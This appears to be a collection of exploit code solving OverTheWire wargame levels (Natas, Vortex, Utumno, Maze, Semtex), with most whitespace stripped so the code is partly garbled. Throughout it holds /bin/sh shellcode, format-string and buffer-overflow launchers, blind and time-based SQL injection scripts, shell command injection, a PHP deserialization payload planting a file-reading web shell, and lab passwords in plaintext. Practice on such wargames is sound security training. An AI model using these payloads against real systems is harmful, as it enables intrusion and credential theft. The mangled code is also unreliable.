BITS32xoreax,eaxpusheaxpushword0x7974push0x74694b6fpush0x6c6c6548;HelloKittymovecx,espmovebx,eaxmovedx,eaxmovbl,1movdl,10incedxmoval,4;writeint0x80

BITS32xoreax,eaxsubesp,0x28;protect our codepusheaxmovedx,esppush0x68732f2e;./shmovebx,esppusheaxpushebxmovecx,espmoval,11int0x80

#!/usr/bin/env python2importsysdefconvert(c):res=[]n=ord(c)i=0whilei<=7:ifn&128:#negativeres.append('1')else:res.append('0')i=i+1n=(n<<1)&255return''.join(res)if__name__=='__main__':alpha='0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM\x0a'book=[convert(x)forxinalpha]codes=sys.argv[1].split(' ')res=[]forcodeincodes:idx=book.index(code)res.append(alpha[idx])print''.join(res)

<?php$data=array("showpassword"=>"no","bgcolor"=>"#ffffff");$cookie='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';$json=json_encode($data);$bin=base64_decode($cookie);$key='';for($i=0;$i<strlen($json);$i++){$key.=$json[$i]^$bin[$i];}echo$key;?>

perl -e 'print "\xff\xd8\xff" . "<?php include(\"/etc/natas_webpass/natas14\"); ?>" . "\xff\xd9"'| curl \
-su natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY -F filename=1.php -F 'uploadedfile=@-;filename=1.php'\
http://natas13.natas.labs.overthewire.org

#!/usr/bin/env python2importurllibimporturllib2importbase64defmakePayload(statement):return'natas16" and (substr(password, %d, 1))%s"%s"#'%(statement[0],statement[1],statement[2])defcheckResponse(response):returnresponse.find("This user exists.")!=-1defdoAssert(statement):url='http://natas15.natas.labs.overthewire.org'values={'username':makePayload(statement)}data=urllib.urlencode(values)req=urllib2.Request(url,data)username="natas15"password="AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"base64string=base64.encodestring('%s:%s'%(username,password)).replace('\n','')req.add_header('Authorization',"Basic %s"%base64string)req.add_header('Content-Type','application/x-www-form-urlencoded')response=urllib2.urlopen(req)content=response.read()returncheckResponse(content)if__name__=="__main__":alphalist="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY"result=[]foridxinrange(1,33):start=0end=len(alphalist)#[start, end)while(start<end):if(end-start==1):result.append(alphalist[start])printalphalist[start]breakelse:middle=(start+end)/2if(doAssert([idx,'<',alphalist[middle]])):end=middleelse:start=middleprint''.join(result)

#!/usr/bin/env python2importurllibimporturllib2importbase64defmakePayload(statement):return"$(c=$(cut -c%d /etc/natas_webpass/natas17)\nif [ $c \\%s%s ]\nthen echo telecommunications\nelse echo zzz\nfi)"%(statement[0],statement[1],statement[2])defcheckResponse(response):returnresponse.find("telecommunications")!=-1defdoAssert(statement):url='http://natas16.natas.labs.overthewire.org'values={'needle':makePayload(statement)}data=urllib.urlencode(values)req=urllib2.Request(url,data)username="natas16"password="WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"base64string=base64.encodestring('%s:%s'%(username,password)).replace('\n','')req.add_header('Authorization',"Basic %s"%base64string)req.add_header('Content-Type','application/x-www-form-urlencoded')response=urllib2.urlopen(req)content=response.read()returncheckResponse(content)if__name__=="__main__":alphalist="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy"result=[]foridxinrange(1,33):start=0end=len(alphalist)#[start, end)while(start<end):if(end-start==1):result.append(alphalist[start])printalphalist[start]breakelse:middle=(start+end)/2if(doAssert([idx,'<',alphalist[middle]])):end=middleelse:start=middleprint''.join(result)

#!/usr/bin/env python2importurllibimporturllib2importbase64importtimedefmakePayload(statement):return'natas18" and if(ascii(substr(password, %d, 1))%s%d, sleep(4), 1)#'%statementdefdoAssert(statement):url='http://natas17.natas.labs.overthewire.org'values={'username':makePayload(statement)}data=urllib.urlencode(values)req=urllib2.Request(url,data)username="natas17"password="8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"base64string=base64.encodestring('%s:%s'%(username,password)).replace('\n','')req.add_header('Authorization',"Basic %s"%base64string)req.add_header('Content-Type','application/x-www-form-urlencoded')start=time.time()response=urllib2.urlopen(req)content=response.read()end=time.time()returnend-start>3.5if__name__=="__main__":alphalist="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy"result=[]foridxinrange(1,33):start=0end=len(alphalist)#[start, end)while(start<end):if(end-start==1):result.append(alphalist[start])printalphalist[start]breakelse:middle=(start+end)/2if(doAssert((idx,'<',ord(alphalist[middle])))):end=middleelse:start=middleprint''.join(result)

#!/bin/bashfor i in `seq 640`;do
    curl -su natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP -b "PHPSESSID=$i" http://natas18.natas.labs.overthewire.org | grep -i 'Password:'done

#!/bin/bashfor i in `seq 640`;doid=`echo -n "$i-admin"| hexdump -v -e '1/1 "%02x" ""'`
    curl -su natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs -b "PHPSESSID=$id" http://natas19.natas.labs.overthewire.org | grep -i 'Password:'if[$? -eq 0];thenbreakfidone

<?phpclassLogger{private$logFile='img/2.php';private$initMsg;private$exitMsg=' echo file_get_contents($s);?>';}$s=newLogger();echobase64_encode(serialize($s));?>

#include <sys/socket.h>#include <stdio.h>#include <arpa/inet.h>#include <unistd.h>#include <netdb.h>#include <string.h>#include <stdlib.h>intmain(intargc,char*argv[]){if(argc!=3){printf("usage: %s <dest> <port>\n",argv[0]);exit(1);}intsockfd=socket(AF_INET,SOCK_STREAM,0);structsockaddr_inservAddr;structhostent*he=gethostbyname(argv[1]);servAddr.sin_family=AF_INET;servAddr.sin_port=htons((uint16_t)atoi(argv[2]));servAddr.sin_addr=*((structin_addr*)he->h_addr);bzero(&(servAddr.sin_zero),8);if(connect(sockfd,(structsockaddr*)&servAddr,sizeof(structsockaddr))==-1){printf("connect error\n");exit(1);}charbuf[128];ssize_tnumRead;unsignedintsum=0;ssize_ttotalRead=0;ssize_ti;while(totalRead<16){if((numRead=recv(sockfd,buf+totalRead,sizeof(buf)-totalRead,0))==-1){printf("error recv\n");exit(1);}printf("read %u bytes\n",numRead);totalRead+=numRead;}unsignedint*number=buf;for(i=0;i<4;++i){printf("get 0x%x\n",number[i]);sum+=number[i];}printf("send 0x%x\n",sum);send(sockfd,&sum,sizeofsum,0);numRead=recv(sockfd,buf,sizeofbuf,0);buf[numRead]=0;printf("received %s\n",buf);close(sockfd);return0;}

#include <stdio.h>#include <stdlib.h>intmain(intargc,char*args[]){char*env1="\x08\xa0\x04\x08\x09\xa0\x04\x08\x0a\xa0\x04\x08\x0b\xa0\x04\x08";char*env2="SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";char*env3="%155x%97$hhn%64x%98$hhn%32x%99$hhn%100$hhn";char*argv[]={NULL};char*envp[]={env1,env2,env3,NULL};execve("/vortex/vortex4",argv,envp);}

#include <unistd.h>#include <stdio.h>intmain(intargc,char*argv[]){seteuid(5007);FILE*fp=fopen("/etc/vortex_pass/vortex7","r");charbuf[128];size_tnumRead=fread(buf,1,sizeofbuf,fp);buf[numRead]=0;printf("%s\n",buf);return0;}

#include <unistd.h>intmain(intargc,char*argv[]){char*args[]={"/tmp/nabla/read",NULL};execv("/vortex/vortex6",args);}

intmain(intargc,char*argv[]){unsignedint*revTable=(unsignedint*)malloc(256*sizeof(unsignedint));size_ti;for(i=0;i<256;++i){unsignedintvalue=CRCTable[i];unsignedinttop=(value>>24);revTable[top]=i;}for(i=0;i<256;++i){printf("0x%02x,",revTable[i]);}return0;}

#include <stdio.h>#include <stdlib.h>#include <string.h>unsignedintCRCTable[]={0x00000000,0x77073096,0xee0e612c,0x990951ba,0x076dc419,0x706af48f,0xe963a535,0x9e6495a3,0x0edb8832,0x79dcb8a4,0xe0d5e91e,0x97d2d988,0x09b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91,0x1db71064,0x6ab020f2,0xf3b97148,0x84be41de,0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7,0x136c9856,0x646ba8c0,0xfd62f97a,0x8a65c9ec,0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5,0x3b6e20c8,0x4c69105e,0xd56041e4,0xa2677172,0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b,0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940,0x32d86ce3,0x45df5c75,0xdcd60dcf,0xabd13d59,0x26d930ac,0x51de003a,0xc8d75180,0xbfd06116,0x21b4f4b5,0x56b3c423,0xcfba9599,0xb8bda50f,0x2802b89e,0x5f058808,0xc60cd9b2,0xb10be924,0x2f6f7c87,0x58684c11,0xc1611dab,0xb6662d3d,0x76dc4190,0x01db7106,0x98d220bc,0xefd5102a,0x71b18589,0x06b6b51f,0x9fbfe4a5,0xe8b8d433,0x7807c9a2,0x0f00f934,0x9609a88e,0xe10e9818,0x7f6a0dbb,0x086d3d2d,0x91646c97,0xe6635c01,0x6b6b51f4,0x1c6c6162,0x856530d8,0xf262004e,0x6c0695ed,0x1b01a57b,0x8208f4c1,0xf50fc457,0x65b0d9c6,0x12b7e950,0x8bbeb8ea,0xfcb9887c,0x62dd1ddf,0x15da2d49,0x8cd37cf3,0xfbd44c65,0x4db26158,0x3ab551ce,0xa3bc0074,0xd4bb30e2,0x4adfa541,0x3dd895d7,0xa4d1c46d,0xd3d6f4fb,0x4369e96a,0x346ed9fc,0xad678846,0xda60b8d0,0x44042d73,0x33031de5,0xaa0a4c5f,0xdd0d7cc9,0x5005713c,0x270241aa,0xbe0b1010,0xc90c2086,0x5768b525,0x206f85b3,0xb966d409,0xce61e49f,0x5edef90e,0x29d9c998,0xb0d09822,0xc7d7a8b4,0x59b33d17,0x2eb40d81,0xb7bd5c3b,0xc0ba6cad,0xedb88320,0x9abfb3b6,0x03b6e20c,0x74b1d29a,0xead54739,0x9dd277af,0x04db2615,0x73dc1683,0xe3630b12,0x94643b84,0x0d6d6a3e,0x7a6a5aa8,0xe40ecf0b,0x9309ff9d,0x0a00ae27,0x7d079eb1,0xf00f9344,0x8708a3d2,0x1e01f268,0x6906c2fe,0xf762575d,0x806567cb,0x196c3671,0x6e6b06e7,0xfed41b76,0x89d32be0,0x10da7a5a,0x67dd4acc,0xf9b9df6f,0x8ebeeff9,0x17b7be43,0x60b08ed5,0xd6d6a3e8,0xa1d1937e,0x38d8c2c4,0x4fdff252,0xd1bb67f1,0xa6bc5767,0x3fb506dd,0x48b2364b,0xd80d2bda,0xaf0a1b4c,0x36034af6,0x41047a60,0xdf60efc3,0xa867df55,0x316e8eef,0x4669be79,0xcb61b38c,0xbc66831a,0x256fd2a0,0x5268e236,0xcc0c7795,0xbb0b4703,0x220216b9,0x5505262f,0xc5ba3bbe,0xb2bd0b28,0x2bb45a92,0x5cb36a04,0xc2d7ffa7,0xb5d0cf31,0x2cd99e8b,0x5bdeae1d,0x9b64c2b0,0xec63f226,0x756aa39c,0x026d930a,0x9c0906a9,0xeb0e363f,0x72076785,0x05005713,0x95bf4a82,0xe2b87a14,0x7bb12bae,0x0cb61b38,0x92d28e9b,0xe5d5be0d,0x7cdcefb7,0x0bdbdf21,0x86d3d2d4,0xf1d4e242,0x68ddb3f8,0x1fda836e,0x81be16cd,0xf6b9265b,0x6fb077e1,0x18b74777,0x88085ae6,0xff0f6a70,0x66063bca,0x11010b5c,0x8f659eff,0xf862ae69,0x616bffd3,0x166ccf45,0xa00ae278,0xd70dd2ee,0x4e048354,0x3903b3c2,0xa7672661,0xd06016f7,0x4969474d,0x3e6e77db,0xaed16a4a,0xd9d65adc,0x40df0b66,0x37d83bf0,0xa9bcae53,0xdebb9ec5,0x47b2cf7f,0x30b5ffe9,0xbdbdf21c,0xcabac28a,0x53b39330,0x24b4a3a6,0xbad03605,0xcdd70693,0x54de5729,0x23d967bf,0xb3667a2e,0xc4614ab8,0x5d681b02,0x2a6f2b94,0xb40bbe37,0xc30c8ea1,0x5a05df1b,0x2d02ef8d};unsignedintrevTable[]={0x00,0x41,0xc3,0x82,0x86,0xc7,0x45,0x04,0x4d,0x0c,0x8e,0xcf,0xcb,0x8a,0x08,0x49,0x9a,0xdb,0x59,0x18,0x1c,0x5d,0xdf,0x9e,0xd7,0x96,0x14,0x55,0x51,0x10,0x92,0xd3,0x75,0x34,0xb6,0xf7,0xf3,0xb2,0x30,0x71,0x38,0x79,0xfb,0xba,0xbe,0xff,0x7d,0x3c,0xef,0xae,0x2c,0x6d,0x69,0x28,0xaa,0xeb,0xa2,0xe3,0x61,0x20,0x24,0x65,0xe7,0xa6,0xea,0xab,0x29,0x68,0x6c,0x2d,0xaf,0xee,0xa7,0xe6,0x64,0x25,0x21,0x60,0xe2,0xa3,0x70,0x31,0xb3,0xf2,0xf6,0xb7,0x35,0x74,0x3d,0x7c,0xfe,0xbf,0xbb,0xfa,0x78,0x39,0x9f,0xde,0x5c,0x1d,0x19,0x58,0xda,0x9b,0xd2,0x93,0x11,0x50,0x54,0x15,0x97,0xd6,0x05,0x44,0xc6,0x87,0x83,0xc2,0x40,0x01,0x48,0x09,0x8b,0xca,0xce,0x8f,0x0d,0x4c,0x95,0xd4,0x56,0x17,0x13,0x52,0xd0,0x91,0xd8,0x99,0x1b,0x5a,0x5e,0x1f,0x9d,0xdc,0x0f,0x4e,0xcc,0x8d,0x89,0xc8,0x4a,0x0b,0x42,0x03,0x81,0xc0,0xc4,0x85,0x07,0x46,0xe0,0xa1,0x23,0x62,0x66,0x27,0xa5,0xe4,0xad,0xec,0x6e,0x2f,0x2b,0x6a,0xe8,0xa9,0x7a,0x3b,0xb9,0xf8,0xfc,0xbd,0x3f,0x7e,0x37,0x76,0xf4,0xb5,0xb1,0xf0,0x72,0x33,0x7f,0x3e,0xbc,0xfd,0xf9,0xb8,0x3a,0x7b,0x32,0x73,0xf1,0xb0,0xb4,0xf5,0x77,0x36,0xe5,0xa4,0x26,0x67,0x63,0x22,0xa0,0xe1,0xa8,0xe9,0x6b,0x2a,0x2e,0x6f,0xed,0xac,0x0a,0x4b,0xc9,0x88,0x8c,0xcd,0x4f,0x0e,0x47,0x06,0x84,0xc5,0xc1,0x80,0x02,0x43,0x90,0xd1,0x53,0x12,0x16,0x57,0xd5,0x94,0xdd,0x9c,0x1e,0x5f,0x5b,0x1a,0x98,0xd9};//start is the init CRC valueunsignedintcomputeCRC(unsignedintstart,unsignedchar*str,size_tlen){size_ti;for(i=0;i<len;++i){start=(start>>8)^(CRCTable[(0xff&(start^str[i]))]);}returnstart;}unsignedintreverseCRC(unsignedintstart,unsignedend){unsignedcharbuf[8];unsignedint*pos=buf;*pos=start;*(pos+1)=end;inti=0;for(i=0;i<4;++i){unsignedchartopByte=buf[7-i];unsignedintidx=revTable[topByte];unsignedintvalue=CRCTable[idx];pos=buf+4-i;*pos=(*pos)^value;buf[3-i]=buf[3-i]^idx;}pos=buf;return*pos;}intmain(intargc,char*argv[]){if(argc!=3){printf("usage: %s <string> <CRC>\n",argv[0]);return0;}size_tlen=strlen(argv[1]);char*cat=(char*)malloc(len+5);strncpy(cat,argv[1],len);//compute the current CRCunsignedintcurrent=computeCRC(0,argv[1],len);printf("current is 0x%08x\n",current);unsignedintdest=(unsignedint)strtoul(argv[2],NULL,16);printf("dest is 0x%08x\n",dest);//compute the patchunsignedintpatch=reverseCRC(current,dest);unsignedchar*patchChar=&patch;printf("patch is \\x%02x\\x%02x\\x%02x\\x%02x\n",patchChar[0],patchChar[1],patchChar[2],patchChar[3]);strncat(cat,patchChar,4);unsignedintnew=computeCRC(0,cat,len+4);printf("verify: new CRC is 0x%08x\n",new);return0;}

BITS32movebx,0x0804a008;sleepmoveax,[ebx]movdword[ebx],0xffffd8f2;SHELLCODEloop:jmploop

importcodecss='...'print(codecs.encode(s,'rot13'))

$ echo -n "KSVVW BGSJD SVSIS VXBMN YQUUK BNWCU ANMJS"| tr '[A-Z]''[BOIHPKNQVTWGURXZAJEYSLDFPU]'

oldc='EICTDGYIYZKTHNS'oldp='AAAAAAAAAAAAAAA'newc='PNUKLYLWRQKGKBE'newp=[]foriinrange(len(newc)):code=(26+ord(newc[i])-ord(oric[i]))%26newp.append(chr(65+code))print(''.join(newp))

int__libc_start_main(){intfd=open("/etc/maze_pass/maze2",0);charbuf[64];intnumRead=read(fd,buf,sizeofbuf);buf[numRead]=0;write(1,buf,numRead);return0;}

BITS32moveax,0xffffd8d8jmpeax

080482d0<_start>: 80482d0:       31 ed                   xor    %ebp,%ebp 80482d2:       5e                      pop    %esi 80482d3:       89 e1                   mov    %esp,%ecx... 80482e5:       51                      push   %ecx 80482e6:       56                      push   %esi

=> 0x80480cb <d1>:      pop    %eax   0x80480cc <d1+1>:    cmpl   $0x1337c0de,(%eax)   0x80480d2 <d1+7>:    jne    0x80480ed <d1+34>   0x80480d4 <d1+9>:    xor    %eax,%eax   0x80480d6 <d1+11>:   push   %eax   0x80480d7 <d1+12>:   push   $0x68732f2f   0x80480dc <d1+17>:   push   $0x6e69622f   0x80480e1 <d1+22>:   mov    %esp,%ebx   0x80480e3 <d1+24>:   push   %eax   0x80480e4 <d1+25>:   push   %ebx   0x80480e5 <d1+26>:   mov    %esp,%ecx   0x80480e7 <d1+28>:   xor    %edx,%edx   0x80480e9 <d1+30>:   mov    $0xb,%al   0x80480eb <d1+32>:   int    $0x80   0x80480ed <d1+34>:   mov    $0x1,%eax   0x80480f2 <d1+39>:   xor    %ebx,%ebx   0x80480f4 <d1+41>:   inc    %ebx   0x80480f5 <d1+42>:   int    $0x80

...Elf32_Ehdrehdr;Elf32_Phdrphdr;structstatst;.../* read Elf-header */read(fd,&ehdr,sizeof(Elf32_Ehdr));/* read Program-header */lseek(fd,ehdr.e_phoff,SEEK_SET);read(fd,&phdr,sizeof(Elf32_Phdr));/* check */if(phdr.p_paddr==(ehdr.e_ident[EI_OSABI]*ehdr.e_ident[EI_ABIVERSION])&&st.st_size<120){printf("valid file, executing\n");execv(argv[1],NULL);}

...   0xf7e6467d <vfprintf+29>:    mov    0x8(%ebp),%esi...   0xf7e64798 <vfprintf+312>:   movsbl 0x46(%esi),%eax   0xf7e6479c <vfprintf+316>:   sub    0xc(%ebp),%edi   0xf7e6479f <vfprintf+319>:   mov    0x94(%esi,%eax,1),%eax...   0xf7e647ba <vfprintf+346>:   call   *0x1c(%eax)

#include <stdio.h>#include <stdlib.h>intmain(intargc,char*args[]){char*env="ABCDABCDABCDABCDABCDABCD""\xa9\xdf\xff\xff";char*shellcode="SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";char*t="";char*argv[]={NULL};char*envp[]={shellcode,t,t,t,t,t,t,t,t,env,NULL};//execve("././././envAddr", argv, envp);execve("/utumno/utumno2",argv,envp);}

#include <stdio.h>#include <stdlib.h>intmain(intargc,char*args[]){char*env="\xfe\xfe\xfe\xfe\xb1\xdf\xff\xff""AAAAAAAA""\xf8\xdd\xff\xff";char*shellcode="SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";char*t="";char*argv[]={NULL};char*envp[]={shellcode,t,t,t,t,t,t,t,t,env,NULL};//execve("././././envAddr", argv, envp);//execve("././././ebpAddr", argv, envp);execve("././././utumno5",argv,envp);}

(gdb) x/20i setjmp   0xf7e4f280 <setjmp>: mov    0x4(%esp),%eax   0xf7e4f284 <setjmp+4>:       mov    %ebx,(%eax)   0xf7e4f286 <setjmp+6>:       mov    %esi,0x4(%eax)   0xf7e4f289 <setjmp+9>:       mov    %edi,0x8(%eax)   0xf7e4f28c <setjmp+12>:      lea    0x4(%esp),%ecx   0xf7e4f290 <setjmp+16>:      xor    %gs:0x18,%ecx   0xf7e4f297 <setjmp+23>:      rol    $0x9,%ecx   0xf7e4f29a <setjmp+26>:      mov    %ecx,0x10(%eax)   0xf7e4f29d <setjmp+29>:      mov    (%esp),%ecx   0xf7e4f2a0 <setjmp+32>:      xor    %gs:0x18,%ecx   0xf7e4f2a7 <setjmp+39>:      rol    $0x9,%ecx   0xf7e4f2aa <setjmp+42>:      mov    %ecx,0x14(%eax)   0xf7e4f2ad <setjmp+45>:      mov    %ebp,0xc(%eax)   0xf7e4f2b0 <setjmp+48>:      push   $0x1   0xf7e4f2b2 <setjmp+50>:      pushl  0x8(%esp)   0xf7e4f2b6 <setjmp+54>:      call   0xf7e4f230 <__sigjmp_save>

rol=lambdaval,r_bits,max_bits: \
    (val<<r_bits%max_bits)&(2**max_bits-1)| \
    ((val&(2**max_bits-1))>>(max_bits-(r_bits%max_bits)))ror=lambdaval,r_bits,max_bits: \
    ((val&(2**max_bits-1))>>r_bits%max_bits)| \
    (val<<(max_bits-(r_bits%max_bits))&(2**max_bits-1))

utumno7@melinda:/tmp/nabla$ /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
^Z
[1]+  Stopped                 /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ jobs -l
[1]+  1987 Stopped                 /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ kill -10 1987
utumno7@melinda:/tmp/nabla$ fg
/utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
^Z
[1]+  Stopped                 /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ kill -12 1987
utumno7@melinda:/tmp/nabla$ fg
/utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`$ id
uid=16007(utumno7)gid=16007(utumno7)euid=16008(utumno8)groups=16008(utumno8),16007(utumno7)

importsysfin=open('semtex1','rb')fout=open('semtex1.out','wb')while1:bytes=fin.read(2)ifnotbytes:breakfout.write(bytes[0])

a='ABCDEFGHIJKLMNOPQRSTUVWXYZ'c='HRXDZNWEAWWCP'p=[None]*len(c)p[12]=c[0]p[11]=a[(a.index(c[5])+13)%26]p[10]=a[(a.index(c[8])-19)%26]p[9]=a[(a.index(c[3])-3)%26]p[8]=a[(a.index(c[6])-15)%26]p[7]=a[(a.index(c[1])-23)%26]p[6]=a[(a.index(c[4])-13)%26]p[5]=a[(a.index(c[11])-20)%26]p[4]=a[(a.index(c[2])-12)%26]p[3]=a[(a.index(c[9])-4)%26]p[2]=a[(a.index(c[12])-11)%26]p[1]=a[(a.index(c[7])-10)%26]p[0]=a[(a.index(c[10])-10)%26]print(''.join(p))

importsocketimportthreadingclasssemtex(threading.Thread):def__init__(self,lock,raddr,rport,tid,passwd,ansID):threading.Thread.__init__(self)self.tid=tidself.raddr=raddrself.rport=rportself.passwd=passwdself.ansID=ansIDself.lock=lockdefrun(self):print("start %d"%self.tid)self.doWork()print("end %d"%self.tid)defdoWork(self):s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)laddr="127.0.0.%d"%self.tids.bind((laddr,0))s.connect((self.raddr,self.rport))data=s.recv(128)ans=[None]*20foriinrange(len(self.passwd)):ans[i]=ord(data[i])^ord(self.passwd[i])ans[10:]=list(ansID)s.send(bytearray(ans))data=s.recv(128)self.lock.acquire()print("recv: %s"%data)self.lock.release()if__name__=="__main__":tidList=range(2,12)lock=threading.Lock()raddr="127.0.0.1"rport=24027passwd="HELICOTRMA"ansID="nabla12345"threads=[]fortidintidList:thread=semtex(lock,raddr,rport,tid,passwd,ansID)thread.start()threads.append(thread)forthreadinthreads:thread.join()